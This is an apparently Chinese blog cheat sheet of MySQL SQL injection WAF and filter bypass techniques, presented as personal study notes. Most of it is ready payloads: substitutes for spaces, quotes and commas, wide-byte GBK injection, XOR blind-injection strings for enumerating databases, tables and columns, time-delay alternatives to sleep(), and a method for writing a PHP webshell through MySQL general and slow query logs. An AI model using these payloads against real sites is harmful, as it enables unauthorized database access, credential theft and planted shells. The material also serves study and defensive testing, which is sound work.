SQL注入3-常见绕过技巧
前言
复习sql注入时查询网上的一些资料,发现良莠不齐,于是对网上的大部分sql注入绕过技巧进行总结,仅用于个人学习。
输出过滤
对输出的回显过滤,一般比较少见,可以用盲注的方法,也可以用:
- 编码函数:TO_BASE64(),HEX(),URLENCODE()等进行绕过
- 替换函数:REPLACE(str, from_str, to_str)嵌套进行绕过
- INTO OUTFILE 'filename'绕过- secure_file_priv值为空
- 知道导出文件的完整路径(Linux通常是:/var/www/html/)
- 都能写shell了还绕什么
 
对符号过滤的绕过
对数字字母过滤的绕过
- ture
- false
- pi()
- version()
- floor()
- ceil()
对空格过滤的绕过
| 1 | %09 | 
用URL 编码表示的制表符 (Tab)。
| 1 | %0a | 
用URL 编码表示的换行符 (LF)。
| 1 | %0b | 
用URL 编码表示的垂直制表符。
| 1 | %0c | 
用URL 编码表示的换页符。
| 1 | %0d | 
用URL 编码表示的回车符 (CR)。
| 1 | %a0 | 
用URL 编码表示的非断行空格 (Non-breaking Space)。
| 1 | %00 | 
用URL 编码表示的 NULL 字符。
| 1 | + | 
SQL中支持+代替空格。
| 1 | /**/ | 
SQL 中的多行注释。
| 1 | /*!*/ | 
SQL中 的内联注释符。
eg:
| 1 | /*!SELECT*/VERSION(); | 
| 1 | () | 
用于SQL函数调用或子查询。
payload:
| 1 | -1'Union(Select(id),(username),(password)from(user)where(username)='admin')%23 | 
对引号过滤的绕过
16进制编码
SQL查询
| 1 | select * from user where username="Admin" | 
16 进制编码字符
| 1 | select * from user where username=0x41646d696e | 
ASCII编码
SQL查询
| 1 | select * from user where username="Admin" | 
ASCII编码字符结合char()与concat()
| 1 | select * from user where username=concat(char(65),char(100),char(109),char(105),char(110)) | 
hex()与unhex()
| 1 | select id from table1 where id=unhex(hex(12850)); | 
22的hex为0x3232
0x3232的十进制为12850
对逗号过滤的绕过
limit()
| 1 | select * from test where id=1 limit 1,2; | 
substr()、substring()、mid()
| 1 | substr(string, start, length) | 
JOIN
| 1 | union select 1,2 | 
对<>=过滤的绕过
strcmp()
| 1 | strcmp(value1,value2) | 
value1小于value2,返回 -1,其它情况返回 1。
greatest()
| 1 | GREATEST(value1, value2, ..., valueN) | 
返回多个参数中的最大值。
least()
| 1 | LEAST(value1, value2, ..., valueN) | 
返回多个参数中的最小值。
BETWEEN … AND …
| 1 | value BETWEEN lower_bound AND upper_bound | 
in
直接看示例
| 1 | substr(username,1,1) in ('A') | 
LIKE\RLIKE\REGEXP
LIKE可以通过将数字隐式转换成字符,再和特定的字符比较,适合支持将数字隐式转换为字符串
| 1 | value LIKE '65' | 
RLIKE(mysql特有)\REGEXP适合匹配字符,支持正则表达式,可以实现更复杂的匹配需求。
组合
| 1 | GREATEST(value, 65) BETWEEN 65 AND 65 -- value<=65 | 
对注释符号过滤的绕过
- --%20
- %23
- ;00
也可以直接闭合注入点。
字符编码转换绕过
宽字节注入
GB2312的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE,而字符\的编码为0x5C,未在GB2312的低位范围内,所以GB2312无法识别\字符,从而避免了宽字节注入的问题。
GBK的低位范围包含更多字符,因此可以构造出含有\的编码,从而可能导致宽字节注入。
payload:
| 1 | ?id=1 %df' union select | 
原理:
| 1 | %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運' | 
修复宽字节注入时,使用addslashes在GBK编码下并不行。可以使用mysql_real_escape_string。
具体细节参考宽字节注入深度讲解。

利用latin1字符集绕过
ISO-8859-1(又称为 Latin-1)是一种字符编码标准,用于表示西欧和美洲的字符。
- MySQL 5.7 及以前 默认编码: latin1。
- MySQL 8.0 及之后 默认编码:utf8mb4。
MySQL遇到无法正确转换为utf8的字符时,通常会直接忽略。
payload:
| 1 | ?username=admin%c2 | 
存储时%c2部分被忽略,实际存储的值变为admin。(%c2可以换为%c2-%ef)
MySQL配置严格模式(如sql_mode设置STRICT_TRANS_TABLES)的情况下在字符转换失败时会报错误。
对关键字过滤的绕过
对布尔运算符过滤的绕过
and可以使用&&替换,也可以用:
id=1=(condition)等价于id=1 and condition。
or可以用||替换。
not可以!替换。
xor在两边取值为布尔值(或1&0)时可以被^替换。
异或注入
数据库
| 1 | id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1 | 
数据表
| 1 | id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='ctf')),1,1))=104))^'1'='1 | 
字段
| 1 | id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='table_1')),1,1))=104))^'1'='1 | 
脚本
| 1 | import requests | 
对where过滤的绕过
使用 GROUP BY+HAVING 替代 WHERE
可以用 GROUP BY 结合 HAVING 子句来实现与 WHERE 相似的功能。like或引号被过滤可以使用regexp。
| 1 | SELECT value FROM table1 GROUP BY value HAVING value LIKE 'flag%'; | 
| 1 | SELECT value FROM table1 GROUP BY value HAVING (BINARY substr(value,1,5)) regexp(0x666c6167); | 
使用JOIN替代WHERE
| 1 | SELECT a.value FROM table1 a JOIN table1 b ON a.value like 'flag%'; | 
| 1 | SELECT a.value FROM table1 a JOIN table1 b ON (BINARY substr(a.value,1,5) regexp(0x666c6167)); | 
对like过滤的绕过
使用regexp注入,见对where过滤的绕过。
对select过滤的绕过
使用table绕过,mysql8.0新特性。
利用PCRE非贪婪匹配机制漏洞绕过
这个本质上是网站WAF中使用的PCRE非贪婪匹配机制导致的漏洞。
| 1 | import requests | 
具可以体参考这篇文章:PHP利用PCRE回溯次数限制绕过某些安全限制
对information_schema过滤的绕过
InnoDB 引擎表
- mysql.innodb_table_stats: 存储 InnoDB 表的统计信息。
- mysql.innodb_index_stats: 存储 InnoDB 索引的统计信息。
 这两个表会记录表和索引的信息,日志会定期更新。
- MySQL 5.6 及以上版本
| 1 | select distinct table_name from mysql.innodb_table_stats where database_name = database(); | 
系统表
- MySQL 5.7.9及以上版本
| 1 | #通过表文件的存储路径获取表名 | 
某些情况下sys 表可以替代 information_schema,提供更高效的查询性能。
可查字段
摘自Mysql 注入基础小结。
- schema- information_schema.COLUMNS->- TABLE_SCHEMA
- information_schema.KEY_COLUMN_USAGE->- CONSTRAINT_SCHEMA,- TABLE_SCHEMA,- REFERENCED_TABLE_SCHEMA
- information_schema.PARTITIONS->- TABLE_SCHEMA
- information_schema.SCHEMATA->- SCHEMA_NAME
- information_schema.STATISTICS->- TABLE_SCHEMA
- information_schema.TABLES->- TABLE_SCHEMA
- information_schema.TABLE_CONSTRAINTS->- CONSTRAINT_SCHEMA,- TABLE_SCHEMA
- mysql.INNODB_INDEX_STATS->- database_name
- mysql.INNODB_TABLE_STATS->- database_name
 
- table- information_schema.COLUMNS->- TABLE_NAME
- information_schema.KEY_COLUMN_USAGE->- TABLE_NAME,- REFERENCED_TABLE_NAME
- information_schema.PARTITIONS->- TABLE_NAME
- information_schema.STATISTICS->- TABLE_NAME
- information_schema.TABLES->- TABLE_NAME
- information_schema.TABLE_CONSTRAINTS->- TABLE_NAME
- mysql.INNODB_INDEX_STATS->- table_name
- mysql.INNODB_TABLE_STATS->- table_name
 
- column- information_schema.COLUMNS->- COLUMN_NAME
- information_schema.KEY_COLUMN_USAGE->- COLUMN_NAME,- REFERENCED_COLUMN_NAME
- information_schema.STATISTICS->- COLUMN_NAME
 
可以用select distinct限制一样的条目。
对函数过滤的绕过
对敏感函数过滤的常见绕过
- 大小写绕过
- 双写绕过
- 注释符绕过
- 内联注释绕过
- 编码绕过
等价替代函数
| SLEEP() | benchmark(count, expr), get_lock(str, timeout),笛卡尔积 | 
| CONCAT_WS() | GROUP_CONCAT() | 
| MID(),SUBSTR() | SUBSTRING() | 
| @@user | USER(),SESSION_USER(),CURRENT_USER(),SYSTEM_USER() | 
| @@datadir | DATADIR() | 
| database() | schema() | 
| ASCII(str) | ORD(str) | 
| HEX(),BIN(),OCT() | CONV(N,from,to) | 
| @@VERSION,@@GLOBAL.VERSION | version() | 
笛卡尔积的使用
笛卡尔积会导致延时,尤其是表很大时,适合用于sleep和benchmark被过滤时。
| 1 | SELECT COUNT(*) FROM information_schema.tables CROSS JOIN information_schema.columns | 
benchmark()替换
eg:
| 1 | benchmark(100000,md5(1)) | 
getlock()测试
基于sqlmap的一个tamper。
| 1 | #!/usr/bin/env python | 
对if()的绕过
利用case语句绕过
| 1 | case when condition then 1 else 0 end | 
利用locate()函数绕过
| 1 | locate(substr(user(),1,1),'a') | 
利用and绕过
| 1 | condition and sleep(1); | 
利用MAKE_SET()绕过
| 1 | MAKE_SET((LENGTH(DATABASE())=4),sleep(1),1); | 
利用ELT(N,str1,str2,str3,...)绕过
返回第 N 个字符串内容。
| 1 | ELT((LENGTH(DATABASE())=3),sleep(3)); | 
对secure_file_priv限制的绕过
通过查询日志getsell
请求日志(默认OFF)
设置slow_query_log=1 启用慢查询日志
| 1 | set global slow_query_log=1; | 
修改slow_query_log_file日志文件的绝对路径与文件名
| 1 | set global slow_query_log_file='/path/shell.php' | 
慢查询日志(默认OFF)
开启查询日志
| 1 | set global general_log='ON' | 
设置操作记录日志路径
| 1 | set global general_log_file='/path/shell.php' | 
无列名注入
子查询利用union改列名
| 1 | select `3` from (select 1,2,3 union select * from table3)c; | 
order by比较盲注
| 1 | select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3; | 
在第三个字符串不回显的情况下,通过order by比较,通过其他参数回显的变化判断。
报错注入中利用join+using注列名
见报错注入
